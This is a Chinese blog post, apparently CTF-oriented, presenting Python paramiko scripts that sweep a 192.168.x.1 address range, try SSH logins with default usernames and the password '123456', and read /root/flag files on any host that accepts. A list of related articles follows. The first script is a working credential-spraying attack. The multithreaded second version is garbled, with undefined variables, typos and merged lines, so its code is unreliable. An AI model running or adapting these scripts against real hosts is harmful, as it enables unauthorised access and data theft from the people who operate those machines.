Python-SSH批量登陆并执行命令

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
from time import ctime
usernm = ["admin","guest","root"]
passwd = "123456"
def ssh():
for i in range(1,254):
for user in usernm:
try:
host = "192.168.%s.1"%i
s=paramiko.SSHClient()
#创建ssh对象
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#自动加载主机密钥 yes\no
s.connect(hostname=host,username=user,password=passwd)
stdin,stdout,stderr = s.exec_command('cat /root/flagvalue.txt')
print "192.168.%s.1 USER:[%s] Time:[%s]"%(i,user,ctime())
dd = stdout.read()
print dd
stdin,stdout,stderr = s.exec_command('exit')
s.close
if dd != None:
dd = None
break
except:
pass
print ssh()

跨网段批量登陆时速度明显会变慢

下面时运行结果图:

多线程版本

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import paramiko
import threading
from time import ctime,sleep
def ssh():
usernm = ["admin","guest","root"]
ip = "192.168.%s.1"%i
for user in usernm:
try:
s=paramiko.SSHClient()
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(hostname=ip,username=user,password='123456')
stdin,stdout,stderr = s.exec_command('cat /root/flag*')
print "192.168.%s.1 USER:[%s] Time:[%s]"%(i,uer,ctime())
dd = stdout.read()
print dd stdin,stdout,stderr = s.exec_command('exit')
s.close
if dd != None:
dd = None
break
except:
pass for i in range(100,200):
a=threading.thread(target=ssh,arg=())
sleep(0.1)
a.strat()

运行效果:

Python-SSH批量登陆并执行命令的更多相关文章

  1. ssh批量登录并执行命令(python实现)

    局域网内有一百多台电脑,全部都是linux操作系统,所有电脑配置相同,系统完全相同(包括用户名和密码),ip地址是自动分配的.现在有个任务是在这些电脑上执行某些命令,者说进行某些操作,比如安装某些软件 ...

  2. Python实现ssh批量登录并执行命令

    局域网内有一百多台电脑,全部都是linux操作系统,所有电脑配置相同,系统完全相同(包括用户名和密码),ip地址是自动分配的.现在有个任务是在这些电脑上执行某些命令,者说进行某些操作,比如安装某些软件 ...

  3. python paramiko实现ssh上传下载执行命令

    paramiko ssh上传下载执行命令 序言 最近项目经常需要动态在跳板机上登录服务器进行部署环境,且服务器比较多,每次完成所有服务器到环境部署执行耗费大量时间.为了解决这个问题,根据所学的执行实现 ...

  4. java使用ssh连接Linux并执行命令

     方式1:通过设置账号密码和链接地址 maven pom.xml配置: <dependency>         <groupId>com.jcraft</groupId ...

  5. python批量操作Linux服务器脚本,ssh密码登录(执行命令、上传、下载)(一)

     -*-          paramiko.util.log_to_file(         ssh = paramiko.SSHClient()          ssh.set_missing ...

  6. MUT值设置、top等命令无法执行、ssh无法登陆、vim命令卡住

    [root@host---- ~]# ifconfig eth0: flags=<UP,BROADCAST,RUNNING,MULTICAST> mtu inet 10.1.1.204 n ...

  7. Python通过ssh连接服务器并执行命令

    [本文出自天外归云的博客园] 脚本示例如下: # coding:utf-8 import time,paramiko,re,StringIO def exec_shell(command): ''' ...

  8. Ansible批量在远程主机执行命令

    Ansible直接执行远程命令,不用ssh登陆交互执行. 如下: ansible all -i 192.168.199.180, -m shell -a "ifconfig" -u ...

  9. 【python】用python脚本Paramiko实现远程执行命令、下载、推送/上传文件功能

    Paramiko: paramiko模块,基于SSH用于连接远程服务器并执行相关操作. SSHClient: 用于连接远程服务器并执行基本命令 SFTPClient: 用于连接远程服务器并执行上传下载 ...

随机推荐

  1. HCTF2018-admin

    记录一道比较有意思的题目,对于萌新来说能学到很多东西orz.. 三种解法: 1: flask session 伪造 2: unicode欺骗 3: 条件竞争 注册账户查看源码: 发现提示,根据提示和题 ...

  2. python pandas写入excel文件

    pandas读取.写入csv数据非常方便,但是有时希望通过excel画个简单的图表看一下数据质量.变化趋势并保存,这时候csv格式的数据就略显不便,因此尝试直接将数据写入excel文件. pandas ...

  3. tomcat运行方式详解

    tomcat的运行模式有3种 一.bio(blocking I/O) 即阻塞式I/O操作,表示Tomcat使用的是传统的Java I/O操作(即java.io包及其子包).是基于JAVA的HTTP/1 ...

  4. 吴裕雄--天生自然 JAVA开发学习:变量类型

    public class Variable{ static int allClicks=0; // 类变量 String str="hello world"; // 实例变量 pu ...

  5. one_day_one_linuxCmd---scp命令

    <坚持每天学习一个 linux 命令,今天我们来学习 scp 命令> scp 命令主要用在不同的 linux 系统之间 copy 文件,基于 ssh 登录,是一种安全的复制 scp 命令的 ...

  6. NOIp2018RP++

    NOIp2018RP++ Rp=0 while True: Rp+=1; print (Rp)

  7. Vue 项目中应用

    Vue使用 一.vue生命周期 # main.js import Vue from 'vue' import App from './App.vue' import router from './ro ...

  8. Python笔记_第二篇_面向过程_第二部分_6.包

    1. 包: 思考:如果不同人的编写模块同名了怎么办? 解决:为了解决模块命名的冲突,引入了按目录来组织模块的方法,这个目录成为“包” 特点:引入了包以后,只要丁顶层的包,不与其他人发生冲突,那么模块都 ...

  9. 四、NOSQL之Redis持久化缓存服务基础实战第三部

    1.NOSQL的理解 NOSQL是不仅仅是SQL,说的就是sql的补充,但是不能替代SQL. nosql库:memcached.memcachedb.redis 2.redis 简介 Redis是一个 ...

  10. raw_input|active:|continue|break|

    a = "please" b = "say something:" c =a+b m = 0 a = True while a: m = int(raw_inp ...